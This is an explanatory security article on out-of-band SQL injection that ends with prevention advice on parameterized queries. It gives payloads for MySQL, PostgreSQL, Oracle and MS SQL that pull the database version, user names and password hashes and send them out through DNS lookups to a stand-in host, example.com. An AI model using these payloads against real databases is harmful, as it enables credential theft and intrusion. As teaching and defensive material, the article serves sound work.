Out-of-band SQL injection

What is out-of-band SQL injection?

Out-of-band SQL injection (OOB SQLi) is a specific type of SQL injection. The term out-of-band means that the attacker does not receive a response from the attacked application on the same communication channel but instead is able to cause the application to send data to a remote endpoint that they control.

Out-of-band SQL injection is only possible if the server that you are using has commands that trigger DNS or HTTP requests. However, that is the case with all popular SQL servers.

Example of out-of-band SQL injection

Note: Some of the examples below are partially based on the research by Lee Chun How in the paper A Study of Out-of-Band Structured Query Language Injection available for download on Zenodo.

Example of out-of-band SQL injection in MySQL

If the MySQL database server is started with an empty secure_file_priv global system variable, which is the case by default for MySQL server 5.5.52 and below (and in the MariaDB fork), an attacker can exfiltrate data and then use the load_file function to create a request to a domain name, putting the exfiltrated data in the request.

Let’s say the attacker is able to execute the following SQL query in the target database:

SELECT load_file(CONCAT('\\\\',(SELECT+@@version),'.',(SELECT+user),'.', (SELECT+password),'.',example.com\\test.txt'))

This will cause the application to send a DNS request to the domain database_version.database_user.database_password.example.com, exposing sensitive data (database version, user name, and the user’s password) to the attacker.

Example of out-of-band SQL injection in PostgreSQL

The following SQL query achieves the same result as above if the application is using a PostgreSQL database:

DROP TABLE IF EXISTS table_output;
CREATE TABLE table_output(content text);
CREATE OR REPLACE FUNCTION temp_function()RETURNS VOID AS $$ DECLARE exec_cmd TEXT;
DECLARE query_result_version TEXT;
DECLARE query_result_user TEXT;
DECLARE query_result_password TEXT;
BEGIN
  SELECT INTO query_result_version (SELECT current_setting('server_version'));
  SELECT INTO query_result_user (SELECT usename FROM pg_shadow);
  SELECT INTO query_result_password (SELECT passwd FROM pg_shadow);
  exec_cmd := E'COPY table_output(content)
    FROM E\'\\\\\\\\'||query_result_version||'.'||query_result_user||'.'||query_result_password||E'.example.com\\\\test.txt\'';
  EXECUTE exec_cmd;
END;
$$ LANGUAGE plpgsql SECURITY DEFINER;
SELECT temp_function();

The culprit, in this case, is the COPY function in PostgreSQL, which is intended to move data between a file and a table. Here, it allows the attacker to include a remote file as the copy source.

Example of out-of-band SQL injection in Oracle

The following SQL query achieves the same result as above if the application is using an Oracle database:

SELECT DBMS_LDAP.INIT(
  (SELECT version FROM v$instance)||'.'||
  (SELECT user FROM dual)||'.'||
  (SELECT name FROM V$database)||'.'||example.com' ,80) FROM dual; 

In this case, OOB SQLi is possible thanks to the init() function from the DBMS_LDAP PL/SQL package, which initializes a connection to an LDAP server.

However, this is not the only Oracle package that can be used for making a request to a remote endpoint. You can also, for example, use the REQUEST function from the UTL_HTTP package.

Example of out-of-band SQL injection in MS SQL

The following SQL query achieves the same result as above (but without the password) if the application is using an MS SQL database:

DECLARE @a varchar(1024);
DECLARE @b varchar(1024);
SELECT @a = (SELECT system_user);
SELECT @b = (SELECT DB_Name()); 
EXEC('master..xp_dirtree"\\'+@a+''+'.'+''+@b+'example.com\test$"');

This OOB SQLi is possible thanks to the xp_dirtree stored procedure. While originally intended for listing a local directory tree, it can be tricked into causing a DNS lookup.

How to prevent out-of-band SQL injection vulnerabilities?

The only fully effective way to prevent all types of SQLi vulnerabilities in web applications, including out-of-band SQLi, is to use parameterized queries (also known as prepared statements) to access SQL databases. If your programming language does not support parameterized queries but your database engine supports stored procedures (both MS SQL and Oracle do), you can use stored procedures with prepared statements instead. Other prevention methods, including whitelists, blacklists, and input filtering or escaping, cannot fully protect you from SQLi – malicious hackers know many ways around such sanitization attempts.